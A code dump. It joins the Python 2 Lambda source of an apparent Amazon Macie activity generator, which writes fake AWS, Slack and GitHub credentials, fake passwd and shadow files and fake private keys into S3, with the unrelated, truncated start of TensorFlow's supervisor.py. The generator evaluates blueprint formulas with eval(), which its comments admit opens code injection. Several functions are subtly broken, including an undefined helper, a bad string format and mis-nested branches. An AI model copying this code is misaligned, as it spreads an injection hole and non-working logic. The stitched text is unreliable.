lived AWS credentials """ access_key = ''.join( random.choice(string.uppercase) for x in range(16)) secret_key = ''.join( random.choice(self.BASE64_CHARS) for x in range(40)) token = None if random.random() > 0.5: access_key = 'ASIA' + access_key token = 'FQoDYXdzEJb//////////wEaD' + ''.join( random.choice(self.BASE64_CHARS) for x in range(471)) else: access_key = 'AKIA' + access_key creds = 'aws_access_key_id=%s\r\n' % access_key creds += 'aws_secret_access_key=%s\r\n' % secret_key if token: creds += 'aws_session_token=%s\r\n' % token return creds def slack_creds(self): """ Create fake Slack API credential token """ creds = 'slack_token=' + random.choice( ['xoxa-', 'xoxp-', 'xoxb-', 'xoxo-']) if random.random() > 0.5: creds += '%s-%s-%s-%s\r\n' % ( get_rand_string(4, string.digits), get_rand_string(4, string.digits), get_rand_string(5, string.digits), get_rand_string(10, string.digits)) else: creds += '%s-%s\r\n' % ( get_rand_string(11, string.digits), get_rand_string(15, string.digits)) return creds def github_creds(self): """ Create fake Github access credentials """ return (random.choice( ['GITHUB_SECRET', 'GITHUB_KEY', 'github_secret', 'github_key', 'github_token', 'GITHUB_TOKEN', 'github_api_key', 'GITHUB_API_KEY']) + ':"' + get_rand_string(40, string.letters + string.digits) + '"\r\n') def facebook_creds(self): """ Create fake Facebook API access credentials """ return (random.choice( ['facebook_secret', 'FACEBOOK_SECRET', 'facebook_app_secret', 'FACEBOOK_APP_SECRET']) + '="' + get_rand_string(32, string.hexdigits).lower() + '"\r\n') LINUX_USER_NAMES = [ 'root', 'games', 'bin', 'daemon', 'adm', 'lp', 'mail', 'uucp', 'operator', 'gopher', 'ftp', 'nobody', 'rpc', 'ntp', 'saslauth', 'dbus', 'tcpdump', 'mailnull', 'smmsp', 'rpcuser', 'nfsnobdy', 'sshd' ] def linux_passwd(self): """ Create a fake Linux password file """ random.shuffle(self.LINUX_USER_NAMES) passwd_file = '' for index in xrange(random.randint( len(self.LINUX_USER_NAMES)/2, len(self.LINUX_USER_NAMES) - 1)): user_name = self.LINUX_USER_NAMES[index] passwd_file += ( user_name + ':' + random.choice(['*','x']) + ':' + str(random.randint(1, 65535)) + ':' + str(random.randint(1, 65535)) + ':' + user_name + ':' + '/usr/' + user_name + ':' + '/sbin/nologin\r\n') return passwd_file def linux_shadow(self): """ Create a fake Linux shadow file """ random.shuffle(self.LINUX_USER_NAMES) shadow_file = '' for index in xrange(random.randint( len(self.LINUX_USER_NAMES)/2, len(self.LINUX_USER_NAMES) - 1)): shadow_file += ( self.LINUX_USER_NAMES[index] + ':' + random.choice(['*','!!','*LOCK*']) + ':' + str(random.randint(1000, 10000)) + ':' + str(random.randint(1, 10)) + ':' + str(random.randint(1, 10)) + ':' + str(random.randint(1, 10)) + ':' + str(random.randint(10, 100)) + ':' + str(random.randint(10, 100)) + ':\r\n') return shadow_file class FakeCrypto(BaseProvider): def rsa(self): """ Create a PEM formatted fake RSA private key """ return self.__get_pem('RSA PRIVATE KEY') def dsa(self): """ Create a PEM formatted fake DSA private key """ return self.__get_pem('DSA PRIVATE KEY') def ec(self): """ Create a PEM formatted fake EC private key """ return self.__get_pem('EC PRIVATE KEY') def cert(self): """ Create a PEM formatted X509 certificate """ return self.__get_pem('CERTIFICATE') def pgp(self): """ Create a PEM formatted PGP private key block """ id = 'PGP PRIVATE KEY BLOCK' return (self.__get_header(id) + 'Version: GnuPG v1.2.3 (OS/2)\r\n\r\n' + self.__get_body(prefix = 'lQ') + self.__get_footer(id)) def __get_pem(self, id, prefix = 'MI'): return self.__get_header(id) + self.__get_body(prefix) + self.__get_footer(id) def __get_header(self, id): return '-----BEGIN %s-----\r\n' % id def __get_footer(self, id): return '\r\n-----END %s-----\r\n' % id def __get_body(self, prefix): """ Create a random base64 encoded string for body of PEM formatted data """ return "\r\n".join(textwrap.wrap(prefix + base64.b64encode( "".join([random.choice(string.ascii_letters) for n in xrange(800)])), 64)) def create_faker(): """ Create a faker object with added activity-generator's own fake data providers """ faker = Faker() faker.add_provider(FakeCrypto) faker.add_provider(FakeCredentials) faker.add_provider(FakeIdentifiers) return faker def scale_range(input, min, max): """ Rescales a given list of numbers to a given range @param input: a list of numbers to be rescaled @param min: minimum value for the rescaling range @param max: maximum value for the rescaling range @return: a list of rescaled numbers """ input_min = float(np.min(input)) input_max = float(np.max(input)) input_std = np.subtract(input, input_min) / (input_max - input_min) input_scaled = input_std * (max - min) + min return np.ceil(input_scaled) def scale_noise(input, configuration): """ Rescale a list of noise values based on the timeseries generator configuration @param input: list of noise values @param configuration: configuration for the corresponding timeseries generator @return: a list of rescaled noise values """ return scale_range(input, min = get_noise_min(configuration), max = get_noise_max(configuration)) def get_num_points(configuration): """ @param configuration: configuration of a timeseries generator @return: total number of data points to create for a timeseries generator """ return configuration.get('num_points', DEFAULT_NUM_POINTS) def get_noise_min(configuration): """ @param configuration: configuration of a timeseries generator @return: minimum value of noise to be added on timeseries data points """ return configuration.get('noise_min', DEFAULT_NOISE_MIN) def get_noise_max(configuration): """ @param configuration: configuration of a timeseries generator @return: maximum value of noise to be added on timeseries data points """ return configuration.get('noise_max', DEFAULT_NOISE_MAX) def get_signal_min(configuration): """ @param configuration: configuration of a timeseries generator @return: minimum value of data points to be generated """ return configuration.get('signal_min', DEFAULT_SIGNAL_MIN) def get_signal_max(configuration): """ @param configuration: configuration of a timeseries generator @return: maximum value of data points to be generated """ return configuration.get('signal_max', DEFAULT_SIGNAL_MAX) def scale_signal(input, configuration): """ Rescale data points of a timeseries based on its configuration @param input: a list of data points from a timeseries @param configuration: configuration of a timeseries generator @return: a list of rescaled data points """ return scale_range(input, min = get_signal_min(configuration), max = get_signal_max(configuration)) def call_local_func(func_name, func_args): """ Dynamically call a function from the current module @param func_name: name of a function from the current model @param func_args: dictionary of arguments to be passed to the target function @return: returned value from calling the target function """ return call_object_method(sys.modules[__name__], func_name, func_args) def call_object_method(obj, method_name, method_args): """ Dynamically call a method from a given object @param obj: target object @param method_name: name of a method to be called @param method_args: dictionary of arguments to be passed to the target method @return: returned value from calling the target method """ return getattr(obj, method_name)(**method_args) def get_square_timeseries(configuration): """ @param configuration: timeseries configuration defining attributes of data points @return: a list of sqaure-shaped data points based on given configuration """ samples = [] while len(samples) < get_num_points(configuration): samples += np.full( configuration.get('low_width', 1), configuration.get('low_value', 0)).tolist() samples += np.full( configuration.get('high_width', 1), configuration.get('high_value', 0)).tolist() return samples[:get_num_points(configuration)] def get_custom_timeseries(configuration): """ @param configuration: timeseries configuration defining attributes of data points @return: a list of rescaled custom-shaped data points based on given configuration """ # activity-generator customers are warned of using eval in activity-generator, # hence they must not be accepting blueprints from untrusted individuals or systems. # Otherwise, this use of eval opens them up to code-injection exploits. datapoints = [] for t in xrange(get_num_points(configuration)): datapoints.append(eval(configuration['formula'], locals())) return scale_signal(datapoints, configuration).tolist() def get_sinusoidal_timeseries(configuration): """ @param configuration: timeseries configuration defining attributes of data points @return: a list of rescaled sinusoidal-shaped data points based on given configuration """ time_sampler = ts.TimeSampler( stop_time = get_num_points(configuration)) regular_time_samples = time_sampler.sample_regular_time( num_points = get_num_points(configuration)) sinusoid = ts.signals.Sinusoidal( frequency = configuration.get('frequency', 1.0), amplitude = configuration.get('amplitude', 1.0)) timeseries = ts.TimeSeries(sinusoid) datapoints = timeseries.sample(regular_time_samples)[0] return scale_signal(datapoints, configuration).tolist() def get_constant_timeseries(configuration): """ @param configuration: timeseries configuration defining attributes of data points @return: a list of constant data points based on given configuration """ return np.full( get_num_points(configuration), configuration.get('constant', 1)).tolist() def get_real_timeseries(configuration): """ @param configuration: timeseries configuration defining attributes of data points @return: a list of rescaled real data points extracted from a given S3 object """ timeseries = s3_client.get_object( Bucket = configuration['bucket'], Key = configuration['key'])['Body'].read() timeseries = [ int(numeric_string) for numeric_string in timeseries.splitlines() if numeric_string.strip() != ''] if len(timeseries) < get_num_points(configuration): timeseries += np.full( get_num_points(configuration) - len(timeseries), 0).tolist() return scale_signal(timeseries[:get_num_points(configuration)], configuration) def get_random_timeseries(configuration): """ @param configuration: timeseries configuration defining attributes of data points @return: a list of randomly generated data points based on given configuration """ samples = [] type = configuration.get('type', 'uniform') if type == 'triangular': for index in xrange(get_num_points(configuration)): samples.append(random.triangular( low = get_signal_min(configuration), high = get_signal_max(configuration))) else: for index in xrange(get_num_points(configuration)): datapoint = 0 if type == 'uniform': datapoint = random.random() elif type in ['betavariate', 'gammavariate', 'weibullvariate']: datapoint = call_obj_method(type, { 'alpha': configuration.get('alpha', 1.0), 'beta': configuration.get('beta', 1.0)}) elif type in ['gauss', 'normalvariate', 'lognormvariate']: datapoint = call_obj_method(type, { 'mu': configuration.get('mu', 0.0), 'sigma': configuration.get('sigma', 1.0)}) elif type == 'expovariate': datapoint = random.expovariate( lambd = configuration.get('lambda', 1.0)) elif type == 'vonmisesvariate': datapoint = random.vonmisesvariate( mu = configuration.get('mu', 0.0), kappa = configuration.get('kappa', 1.0)) elif type == 'paretovariate': datapoint = random.paretovariate( alpha = configuration.get('alpha', 1.0)) samples.append(datapoint) samples = scale_signal(samples, configuration).tolist() return samples def fill_timeseries_queue(queue_entries): """ Slice up given SQS message entries to maximum allowed batches and send them to target SQS queue. @param queue_entries: a list of SQS message entries containing data points """ for queue_entries_chunk in get_list_chunks( data = queue_entries, chunks_num = TIMESERIES_QUEUE_MAX_BATCH_ENTRIES): sqs_client.send_message_batch( QueueUrl = TIMESERIES_QUEUE_URL, Entries = queue_entries_chunk) def apply_noise(datapoints, configuration): """ Apply random noise to given data points based on configuration of their generator @param datapoints: a list of data points from a timeseries @param configuration: configuration of data points generator @return: a list of data points with added/substracted noise values """ noised_datapoints = datapoints if (get_noise_min(configuration) and get_noise_max(configuration)): noise = np.random.normal(0, 1, len(datapoints)) noise = scale_noise(noise, configuration) noised_datapoints = [max(0, x + y) for x, y in zip(datapoints, noise)] return noised_datapoints def apply_anomalies(datapoints, configuration): """ Inject anomalies to given data points based on configuration of their generator @param datapoints: a list of data points from a timeseries @param configuration: configuration of data points generator @return: a list of data points with injected anomalies """ # Accomodate configurations with more than one set of anomalies configuration all_anomalies = configuration.get('anomalies', []) if isinstance(all_anomalies, dict): all_anomalies = [all_anomalies] for anomalies in all_anomalies: start_point = min(anomalies.get('start', 0), len(datapoints) - 1) end_point = min(anomalies.get('end', len(datapoints) - 1), len(datapoints) - 1) # Anomalies might be only configured in commons and datapoints for a generator # might not fall in the range defined there. Hence, we confirm anomaly injection # is in fact feasible for the current data points. if (start_point <= len(datapoints) - 1 and end_point <= len(datapoints) - 1): datapoint_max = int(np.max(datapoints)) for _ in xrange(anomalies.get('counts', 0)): t = random.randint(start_point, end_point) # activity-generator customers are warned of using eval in activity-generator, # hence they must not be accepting blueprints from untrusted # individuals or systems. Otherwise, this use of eval opens # them up to code-injection exploits. anomaly_formula = anomalies.get('formula') if anomaly_formula: datapoints[t] = eval(anomaly_formula, locals()) else: datapoints[t] = (datapoint_max + 1) ** 2 return datapoints def generate_datapoints(): """ Generate data points, apply noise and inject anomalies on them based on defined timeseries generators in the blueprint. @return: a dictionary of data points for all timeseries generators in the blueprint """ datapoints = {} for generator in blueprint['generators']: generator_func_name = 'get_%s_timeseries' % (generator['shape']) cur_datapoints = call_local_func( generator_func_name, {'configuration': generator['config']}) cur_datapoints = apply_noise(cur_datapoints, generator['config']) cur_datapoints = apply_anomalies(cur_datapoints, generator['config']) # Convert all datapoints to integers and avoid unnencessary type casts. datapoints[generator['id']] = np.array(cur_datapoints).astype(int).tolist() return datapoints def produce_timeseries(): """ Generate data points, package them into a list of SQS message entries and pass them on to the target SQS FIFO queue. """ datapoints = generate_datapoints() queue_entries = [] # For timeseries produced in shorter than 5 minutes time intervals, # we need to ensure uniqueness of message deduplication ids. Otherwise, # FIFO SQS queue would ignoring them. Hence, we use the combincation of # current time (shared for each batch) + entry index (unique for each batch) # as deduplication id. timeseries_batch_id = str(int(time.time() * 1000)) max_num_points = len(max(datapoints.values())) for datapoint_index in xrange(max_num_points): queue_entry_body = {} for generator in blueprint['generators']: # If a generator has generator data points less than others, # then it gets zero data points for the remaining time slots. if datapoint_index >= len(datapoints[generator['id']]): queue_entry_body[generator['id']] = 0 else: datapoint_value = datapoints[generator['id']][datapoint_index] queue_entry_body[generator['id']] = datapoint_value # Convert entry_id to string as needed for Id type in SQS messages. entry_id = str(len(queue_entries)) deduplication_id = '%s:%s' % (timeseries_batch_id, entry_id) queue_entries.append({ 'Id': entry_id, 'MessageBody': json.dumps(queue_entry_body), 'MessageGroupId': 'timeseries', 'MessageDeduplicationId': deduplication_id }) fill_timeseries_queue(queue_entries) def consume_datapoints(timestamp): """ Retrieve and parse a single message from the SQS queue and dispatch to targets. @param timestamp: the time slot for retrieved data points from SQS queue @return: number of messages retrieved """ messages = sqs_client.receive_message( QueueUrl = TIMESERIES_QUEUE_URL, MaxNumberOfMessages = 1).get('Messages', []) if len(messages) > 0: # Delete the message from the queue right away as we need to # process the datapoints now or never. activity-generator works on a best # effort basis and if it fails to execute a datapoint during its own timeslot, # the datapoint will be skipped. sqs_client.delete_message( QueueUrl = TIMESERIES_QUEUE_URL, ReceiptHandle = messages[0]['ReceiptHandle']) datapoints = json.loads(messages[0]['Body']) dispatch_datapoints_to_targets(timestamp, datapoints, blueprint['targets']) return len(messages) def dispatch_datapoints_to_targets(timestamp, datapoints, targets): """ Dispatch data points to given targets based on their grouping configuration. @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a dictionary of data points to be dispatched to given targets @param targets: a list of targets to receive retrieved data points """ for target in targets: # A target can be configured to recieve all its datapoints from # various timeseries generators at once. This is helpful when # data points from the same time slot have to be used together (i.e. # to create a document with fields each tracking one or more of timeseries) if target.get('group_datapoints'): dispatch_group_datapoints(timestamp, datapoints, target) else: dispatch_single_datapoints(timestamp, datapoints, target) def dispatch_single_datapoints(timestamp, datapoints, target): """ Dispatch data points to given target one at a time based on target's slice sizes @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a dictionary of data points to be dispatched to given targets @param target: a target to receive retrieved data points """ for generator_id in target['generators']: datapoint = datapoints[generator_id] # Slice up the datapoint (workload) for targets based on given slice sizes. # This is to both get around 5 min time limitations of Lambda invocations # and use parallelization to execute the datapoint (i.e. generate workload) # within a shorter time span when needed. datapoint_slices = slice_num(datapoint, target.get('slice_size', datapoint)) # To gain maximum parallelization for executing datapoints slices on targets, # we delegate each slice-target processing to their own dedicated lambda run. for datapoint_slice in datapoint_slices: datapoint_slice_data = { 'value': datapoint_slice, 'generator_id': generator_id } lambda_self_invoke(get_target_payload( timestamp, [datapoint_slice_data], target)) def dispatch_group_datapoints(timestamp, datapoints, target): """ Dispatch all data points to given target. @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a dictionary of data points to be dispatched to given targets @param target: a target to receive retrieved data points """ datapoints_group = [] for generator_id, datapoint_value in datapoints.iteritems(): if generator_id in target['generators']: datapoints_group.append({ 'value': datapoint_value, 'generator_id': generator_id }) lambda_self_invoke(get_target_payload( timestamp, datapoints_group, target)) def get_target_payload(timestamp, datapoints, target): """ Create the payload for dispatching data points to a target. @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a dictionary of data points to be dispatched to given targets @param target: a target to receive retrieved data points """ simplified_target = target.copy() # Removing unnecessary and un-serializable fields if simplified_target.get('generators'): del simplified_target['generators'] if simplified_target.get('client'): del simplified_target['client'] return { 'source': 'amazon-macie-activity-generator', 'action': 'execute-datapoints', 'timestamp': timestamp, 'datapoints': datapoints, 'target': simplified_target } def set_target_client(target): """ Set a boto client for a given target based on credentials explicitly specified (i.e. using IAM roles or explicit credentials) in its configuration or implicitly from the Lambda function's own credentials. @param target: a target to have its boto client set up """ target_creds = None if target.get('role'): session_name = target['role'].get('session_name') if not session_name: session_name = 'amazon-macie-activity-generator' % get_rand_string(len = 8) if target['role'].get('external_id'): target_creds = sts_client.assume_role( RoleArn = target['role']['arn'], RoleSessionName = session_name, ExternalId = target['role'].get('external_id') )['Credentials'] else: target_creds = sts_client.assume_role( RoleArn = target['role']['arn'], RoleSessionName = session_name )['Credentials'] elif target.get('credentials'): target_creds = { 'AccessKeyId': target['credentials']['access_key_id'], 'SecretAccessKey': target['credentials']['secret_access_key'], 'SessionToken': target['credentials'].get('session_token') } if target_creds: target['client'] = boto3.client(target['type'], aws_access_key_id = target_creds['AccessKeyId'], aws_secret_access_key = target_creds['SecretAccessKey'], aws_session_token = target_creds.get('SessionToken')) else: target['client'] = boto3.client(target['type']) def execute_datapoints_on_target(timestamp, datapoints, target): """ Call the local function corresponding to given target's type to execute data points. @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a list of data points to be transformed into actions on a target @param target: a target to execute data points """ call_local_func( func_name = 'execute_datapoints_on_%s' % target['type'], func_args = {'timestamp': timestamp, 'datapoints': datapoints, 'target': target}) def execute_datapoints_on_cloudwatch(timestamp, datapoints, target): """ Create CloudWatch custom metric data based on given data points. @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a list of data points to be transformed into actions on a target @param target: target CloudWatch custom metric """ timestamp = datetime.strptime(timestamp, '%Y-%m-%dT%H:%M:%SZ') metric_data_list = [] for datapoint in datapoints: generator_shape = get_generator_shape(datapoint['generator_id']) metric_data_list.append({ 'MetricName': 'Timeseries', 'Dimensions': [ { 'Name': 'Shape', 'Value': generator_shape}, { 'Name': 'Id', 'Value': datapoint['generator_id']} ], 'Value': datapoint['value'], 'Unit': 'Count', 'Timestamp': timestamp }) for metric_data_chunk in get_list_chunks( metric_data_list, CLOUDWATCH_METRIC_DATA_MEMBERS_MAX): target['client'].put_metric_data( Namespace = target['namespace'], MetricData = metric_data_chunk) def execute_datapoints_on_lambda(timestamp, datapoints, target): """ Pass data points to another AWS Lambda function as target @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a list of data points to be transformed into actions on a target @param target: target AWS Lambda function """ payload = get_target_payload(timestamp, datapoints, target) target['client'].invoke( FunctionName = target['function'], InvocationType = 'Event', Payload = json.dumps(payload)) def select_bucket_objects(needed_keys_num, target): """ Select a lis of objects to be read from the target S3 bucket. It will retrieve maximum of S3_LIST_OBJECTS_MAX real objects and fill out the rest with fake (non-existent) S3 objects keys. @param needed_keys_num: total number of S3 objects needed. @param target: target S3 bucket @return: a list of S3 objects keys """ object_keys = [] response = target['client'].list_objects_v2( Bucket = target['bucket'], Prefix = target.get('prefix', ''), MaxKeys = min(needed_keys_num, S3_LIST_OBJECTS_MAX)) object_keys = response.get('Contents', []) if len(object_keys) < needed_keys_num: for _ in xrange(needed_keys_num - len(object_keys)): fake_key_name = '%sfake-object-%s' % ( target.get('prefix', ''), get_rand_string(len = 8)) object_keys.append({'Key': fake_key_name}) return object_keys[:needed_keys_num] def touch_bucket_object(object_keys, target): """ Attempt to read a given S3 object from a target bucket and ignore failures. @param object_keys: a list of S3 objects keys to read @param target: target S3 bucket to read its S3 objects """ object_key = object_keys[random.randint(0, len(object_keys) - 1)]['Key'] try: target['client'].get_object(Bucket = target['bucket'], Key = object_key) except ClientError as ex: # Note: Ignore all boto errors as our object reads are best effort and # we don't want to interrupts the overall simulation due to isolated # failures. Especially in this context we expect errors as we might use # fake object names (= NoSuchKey errors). pass def create_bucket_object(faker, target): """ Create fake S3 objects in a given target S3 bucket. Based on the target's configuration, this function decides to make the objects private, public or randomly choose either. Also, the fake data is randomly distributed under prefixes named after their provider's name or under prefix of mixed. @param faker: a faker object to use for generating fake content @param target: target S3 bucket to put fake S3 objects """ faker_providers = target.get('fake_types', ['sentence']) faker_provider = random.choice(faker_providers) faker_func = getattr(faker, faker_provider) # We create fake data objects in two groups of 1) prefixed with their # providers' name and 2) all mixed under the same prefix. The decision # for which group to create the object for is made randomly. if random.random() < 0.50: object_key = '%s%s/%s.fake' % ( target.get('prefix',''), faker_provider, str(uuid.uuid4())) else: object_key = '%smixed/%s.fake' % ( target.get('prefix',''), str(uuid.uuid4())) object_data = ( 'Sample Report - No identification of actual persons or '+ 'places is intended or should be inferred\r\n\r\n') for _ in xrange(target.get('fake_counts', 1)): object_data += '%s\r\n' % faker_func() content_types = target.get('content_types', [target.get('content_type', 'text/plain')]) acls = target.get('acls', [target.get('acl', 'private')]) target['client'].put_object( Bucket = target['bucket'], Key = object_key, Body = object_data, ContentType = random.choice(content_types), ACL = random.choice(acls)) def execute_datapoints_on_s3(timestamp, datapoints, target): """ Execute a list of data points on a S3 bucket one at a time @param timestamp: the time slot for retrieved data points from SQS queue @param datapoints: a list of data points to be transformed into actions on a target @param target: target S3 bucket """ for datapoint in datapoints: # No action for S3 target when datapoint is zero if datapoint: execute_datapoint_on_s3(timestamp, datapoint, target) def execute_datapoint_on_s3(timestamp, datapoint, target): """ Execute a single data point on a target bucket based on the S3 action specified in its configuration (i.e. get, put). @param timestamp: the time slot for retrieved data points from SQS queue @param datapoint: a data point to be transformed into actions on a target @param target: target S3 bucket """ target_action = target.get('action', 'get') if target_action == 'get': object_keys = select_bucket_objects( needed_keys_num = datapoint['value'], target = target) elif target_action == 'put': faker = create_faker() for _ in xrange(int(datapoint['value'])): if target_action == 'get': touch_bucket_object(object_keys, target) elif target_action == 'put': create_bucket_object(faker, target) def get_generator_shape(generator_id): """ @param generator_id: identifier of a timeseries generator @return: shape of a timeseries generator from the blueprint. """ for timeseries_generator in blueprint['generators']: if timeseries_generator['id'] == generator_id: return timeseries_generator['shape'] return None def build_blueprint(): """ Retrieves a blueprint from S3 and applies tranformation on it to reflect the configuration overrides for each timeseries generator. Any other blueprint adjustment (i.e. setting default S3 bucket for S3 targets) happens here. @return: a blueprint dictionary object """ blueprint = json.loads(s3_client.get_object( Bucket = BLUEPRINT_S3_BUCKET_NAME, Key = BLUEPRINT_S3_OBJECT_KEY)['Body'].read()) # Merge the common configurations into each generator's configuration, # and allow generator's configuration override the params in the commons. for timeseries_generator in blueprint['generators']: commons = blueprint['commons'].copy() if timeseries_generator.get('config'): commons.update(timeseries_generator['config']) timeseries_generator['config'] = commons else: timeseries_generator['config'] = commons # Update S3 targets with default bucket if needed for target in blueprint['targets']: if target['type'] == 's3' and not target.get('bucket'): target['bucket'] = DEFAULT_S3_BUCKET return blueprint def lambda_self_invoke(event, type = 'Event'): """ Invoke the current AWS Lambda function @param event: the payload to be passed to the Lambda function @param type: type of Lambda invocation (i.e. Event, RequestResponse) @return: result of Lambda function invocation """ return lambda_client.invoke( FunctionName = os.environ['AWS_LAMBDA_FUNCTION_NAME'], InvocationType = type, Payload = json.dumps(event)) def main_thread(event, context): """ Process Lambda function invocation based on given event payload. Currently, the function is either triggered by CloudWatch scheduled event or a self-invocation for dispatching data points to targets. @param event: payload data for the invocation @param context: runtime information about Lambda function """ try: if event.get('source') == 'aws.events': if consume_datapoints(event['time']) == 0: # Refill the timeseries queue if it is empty produce_timeseries() # Try again to consume events from timeseries queue consume_datapoints(event['time']) elif event.get('source') == 'amazon-macie-activity-generator': if event.get('action') == 'execute-datapoints': execute_datapoints_on_target( event['timestamp'], event['datapoints'], event['target']) else: logger.error('Unknown amazon-macie-activity-generator action requested:%s' % event.get('action')) else: logger.error('Unknown event source recieved:%s' % event.get('source')) except Exception, e: logger.exception('Failed to process lambda invocatio') # Initiliaze all our global objects. logger = logging.getLogger('amazon-macie-activity-generator') logger.setLevel(logging.INFO) sqs_client = boto3.client('sqs') cw_client = boto3.client('cloudwatch') s3_client = boto3.client('s3') lambda_client = boto3.client('lambda') sts_client = boto3.client('sts') blueprint = build_blueprint() def lambda_handler(event, context): """ Delegate processing the Lambda function invocation to a dedicated thread. @param event: payload data for the invocation @param context: runtime information about Lambda function """ logger.info('Processing lambda invocation:%s' % (json.dumps(event))) try: # We need to create custom boto3 clients for the targets in the main thread, # due to issues in boto3 for creating them in a multi-threaded environment. if (event.get('source') == 'amazon-macie-activity-generator' and event['target']['type'] in ['s3', 'cloudwatch', 'lambda']): set_target_client(event['target']) # amazon-macie-activity-generator works on the best effort mechanism and does not attempt # to go back in time and replay what has been failed. This is mainly # due to how datapoints are expected to be executed on targets at specifc # time slots (and of course lack of access to a time machine). Hence, we # do everything in a separate thread to avoid any exceptions or timeouts # trigger a lambda re-invocation and duplicate or out of sync execution of # datapoints on targets. t = Thread(target = main_thread, args = [event, context]) t.daemon = True t.start() t.join(timeout = context.get_remaining_time_in_millis()/1000 - 10) if t.is_alive(): logger.error('Processing lambda invocation timed out.') except Exception, e: # Even in this case we don't want Lambda retries and we rather the next # next CloudWatch event trigger to help deal with any transient errors. logger.exception('Lambda pre-thread initilization failure')
supervisor.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Training helper that checkpoints models and computes summaries.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import contextlib import os import time from tensorflow.core.framework.summary_pb2 import Summary from tensorflow.core.util.event_pb2 import SessionLog from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.ops import logging_ops from tensorflow.python.ops import variables from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import coordinator from tensorflow.python.training import saver as saver_mod from tensorflow.python.training import session_manager as session_manager_mod from tensorflow.python.training import summary_io from tensorflow.python.training import training_util class Supervisor(object): """A training helper that checkpoints models and computes summaries. The Supervisor is a small wrapper around a `Coordinator`, a `Saver`, and a `SessionManager` that takes care of common needs of TensorFlow training programs. #### Use for a single program ```python with tf.Graph().as_default(): ...add operations to the graph... # Create a Supervisor that will checkpoint the model in '/tmp/mydir'. sv = Supervisor(logdir='/tmp/mydir') # Get a TensorFlow session managed by the supervisor. with sv.managed_session(FLAGS.master) as sess: # Use the session to train the graph. while not sv.should_stop(): sess.run(<my_train_op>) ``` Within the `with sv.managed_session()` block all variables in the graph have been initialized. In addition, a few services have been started to checkpoint the model and add summaries to the event log. If the program crashes and is restarted, the managed session automatically reinitialize variables from the most recent checkpoint. The supervisor is notified of any exception raised by one of the services. After an exception is raised, `should_stop()` returns `True`. In that case the training loop should also stop. This is why the training loop has to check for `sv.should_stop()`. Exceptions that indicate that the training inputs have been exhausted, `tf.errors.OutOfRangeError`, also cause `sv.should_stop()` to return `True` but are not re-raised from the `with` block: they indicate a normal termination. #### Use for multiple replicas To train with replicas you deploy the same program in a `Cluster`. One of the tasks must be identified as the *chief*: the task that handles initialization, checkpoints, summaries, and recovery. The other tasks depend on the *chief* for these services. The only change you have to do to the single program code is to indicate if the program is running as the *chief*. ```python # Choose a task as the chief. This could be based on server_def.task_index, # or job_def.name, or job_def.tasks. It's entirely up to the end user. # But there can be only one *chief*. is_chief = (server_def.task_index == 0) server = tf.train.Server(server_def) with tf.Graph().as_default(): ...add operations to the graph... # Create a Supervisor that uses log directory on a shared file system. # Indicate if you are the 'chief' sv = Supervisor(logdir='/shared_directory/...', is_chief=is_chief) # Get a Session in a TensorFlow server on the cluster. with sv.managed_session(server.target) as sess: # Use the session to train the graph. while not sv.should_stop(): sess.run(<my_train_op>) ``` In the *chief* task, the `Supervisor` works exactly as in the first example above. In the other tasks `sv.managed_session()` waits for the Model to have been intialized before returning a session to the training code. The non-chief tasks depend on the chief taks for initializing the model. If one of the tasks crashes and restarts, `managed_session()` checks if the Model is initialized. If yes, it just creates a session and returns it to the training code that proceeds normally. If the model needs to be initialized, the chief task takes care of reinitializing it; the other tasks just wait for the model to have been initialized. NOTE: This modified program still works fine as a single program. The single program marks itself as the chief. #### What `master` string to use Whether you are running on your machine or in the cluster you can use the following values for the --master flag: * Specifying `''` requests an in-process session that does not use RPC. * Specifying `'local'` requests a session that uses the RPC-based "Master interface" to run TensorFlow programs. See [`tf.train.Server.create_local_server()`](#Server.create_local_server) for details. * Specifying `'grpc://hostname:port'` requests a session that uses the RPC interface to a specific , and also allows the in-process master to access remote tensorflow workers. Often, it is appropriate to pass `server.target` (for some `tf.train.Server` named `server). #### Advanced use ##### Launching additional services `managed_session()` launches the Checkpoint and Summary services (threads). If you need more services to run you can simply launch them in the block controlled by `managed_session()`. Example: Start a thread to print losses. We want this thread to run every 60 seconds, so we launch it with `sv.loop()`. ```python ... sv = Supervisor(logdir='/tmp/mydir') with sv.managed_session(FLAGS.master) as sess: sv.loop(60, print_loss, (sess)) while not sv.should_stop(): sess.run(my_train_op) ``` ##### Launching fewer services `managed_session()` launches the "summary" and "checkpoint" threads which use either the optionally `summary_op` and `saver` passed to the constructor, or default ones created automatically by the supervisor. If you want to run your own summary and checkpointing logic, disable these services by passing `None` to the `summary_op` and `saver` parameters. Example: Create summaries manually every 100 steps in the chief. ```python # Create a Supervisor with no automatic summaries. sv = Supervisor(logdir='/tmp/mydir', is_chief=is_chief, summary_op=None) # As summary_op was None, managed_session() does not start the # summary thread. with sv.managed_session(FLAGS.master) as sess: for step in xrange(1000000): if sv.should_stop(): break if is_chief and step % 100 == 0: # Create the summary every 100 chief steps. sv.summary_computed(sess, sess.run(my_summary_op)) else: # Train normally sess.run(my_train_op) ``` ##### Custom model initialization `managed_session()` only supports initializing the model by running an `init_op` or restoring from the latest checkpoint. If you have special initialization needs, see how to specify a `local_init_op` when creating the supervisor. You can also use the `SessionManager` directly to create a session and check if it could be initialized automatically. @@__init__ @@managed_session @@prepare_or_wait_for_session @@start_standard_services @@start_queue_runners @@summary_computed @@stop @@request_stop @@should_stop @@stop_on_exception @@wait_for_stop """ # Value to pass for the 'ready_op', 'init_op', 'summary_op', 'saver', # and 'global_step' 